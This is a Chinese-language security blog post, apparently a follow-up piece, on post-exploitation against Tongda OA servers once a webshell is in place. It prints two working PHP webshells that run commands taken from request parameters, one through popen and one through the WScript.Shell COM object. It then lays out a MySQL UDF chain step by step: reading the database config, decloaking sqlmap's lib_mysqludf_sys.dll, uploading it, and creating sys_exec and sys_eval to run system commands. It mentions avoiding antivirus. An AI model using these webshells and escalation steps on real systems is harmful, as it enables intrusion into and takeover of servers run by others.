在上一篇文章之後,有小夥伴留言問通達OA獲取許可權後如何才能執行命令。本來是想留下一個小的懸念給大家,既然有人問起,我們們就把這個問題繼續探討一下。
傳送門:
0x01 回顧過去
熟悉通達的小夥伴都知道通達是屬於整合安裝環境,和一般的CMS不同,通達安裝好之後是自帶配置好的WEB伺服器nginx,一般來說不存在環境問題導致的差異。通達在配置中預設配置了disable_functions選項,禁止了常見的命令執行函式,甚至就連phpinfo也是禁用的。為了測試方便,在後續的分析中都手動去除了phpinfo不能執行的限制。
在老版本的通達(大約11.4)中,對disable_functions配置的有明顯的缺陷,早期版本的通達配置如圖1.1所示。
圖1.1 早期通達OA的disable_functions配置
從圖1.1中可以看出在禁用的函式中缺陷了popen函式,所以可以透過popen函式來執行系統命令,相關程式碼如下所示。
基於popen的命令執行
<?php
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;");
$fp=@popen($_REQUEST['cmd'],'r');
while(!@feof($fp)) {
print(@fgets($fp,2048));
}
@pclose($fp);
另外網上也早有文章提到可以透過Windows的Com元件來執行命令,相關程式碼如下所示。
基於WScript的命令執行
<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$exec=$phpwsh->exec("cmd.exe /c ".$_REQUEST['cmd']."");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;exit();
?>
透過這兩種方式都可以達到命令執行的效果,如圖1.2所示。
圖1.2 早期版本通達命令執行的方式
但是這兩種方式在新版本的通達中均無法使用,首先來看新版本通達的disable_functions配置,如圖1.3所示。
圖1.3 新版本通達OA的disable_functions配置
可以看出在新版本中明顯修復了早期版本中漏掉的popen函式,雖然並沒有在disableClassed中禁用Com元件相關的類,但是實際上通達OA已經默默關閉了Com元件,如圖1.4所示。
圖1.4 對比新舊版版通達OA對Com元件支援的差異
所以上面的兩種命令執行的方式對於新通達來說都已經不適用了,如果我們在哥斯拉中連線通達OA的webshell,在執行命令中會看到如圖1.5所示的報錯。
圖1.5 通達OA命令執行報錯
0x02 面對現實
仔細檢視圖1.3的disable_functions中,我們可以想到下面的繞過方式。
1) 利用LD_PRELOAD記載惡意so檔案達到執行命令的效果行不行?答案是不行,一般來說通達OA都是windows的環境,不適用這種方式。
2) pcntl_exec函式沒有在disable_functions的列表中,能不能利用這個函式來執行命令?答案也是不行,通達預設安裝的環境沒有pcntl擴充套件。
3) 利用ImageMagick來執行命令列不行?答案還是不行,預設安裝的環境沒有ImageMagick擴充套件。
目前想直接繞過disable_functions來執行命令已經是一件很難的事情了,換一種思路,我們目前有一個檔案管理的webshell,並且通達OA預設安裝都是system許可權。怎麼透過檔案操作來執行命令呢?一種最簡單的方式是直接把馬上傳到自啟動目錄,等待伺服器重啟,然後執行命令,這種是不是可行呢?可行,但是效果不好,一般不會這麼用。因為一方面要等待伺服器重啟,這個條件不滿足實際攻擊場景,另一方面修改自啟動目錄容易被殺軟攔截。
一種更好的辦法是透過mysql udf來執行命令,整個利用過程如下所示。
1) 找到通達OA的資料庫配置檔案webroot/inc/oa_config.php。通達OA的原始碼檔案預設是加密的,但是配置檔案是不加密的,所以可以直接開啟檢視,如圖2.1所示。
圖2.1 資料庫配置檔案
2) 生成udf.dll檔案,網上雖然可以直接下載到很多udf.dll,但是不確定是不是有後門。而且其他隨意下載的udf.dll檔案經常導致資料庫崩潰(多次血與淚的教訓,dll不對會導致網站崩潰)。我強烈建議大家使用sqlmap自帶的udf.dll檔案,但是預設情況下sqlmap的udf是混淆過的,需要使用其自帶的cloak工具轉換回來才能使用。
python extra/cloak/cloak.py -d -i data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
使用上面的命令,會在lib_mysqludf_sys.dll_檔案所在目錄生成一個lib_mysqludf_sys.dll的檔案,這個才是能被直接使用的udf提權dll檔案。
3) 把剛才生成的檔案lib_mysqludf_sys.dll上傳到目標的mysql5/lib/plugin目錄,預設情況下不存在這個目錄,需要建立目錄。
4) 連線資料庫,執行下面的語句
create function sys_exec RETURNS int soname 'lib_mysqludf_sys.dll';//執行命令返回狀態碼
create function sys_eval returns string soname 'lib_mysqludf_sys.dll '; //執行命令返回命令執行結果
select sys_eval("whoami");
如此方能在新版本中成功執行命令。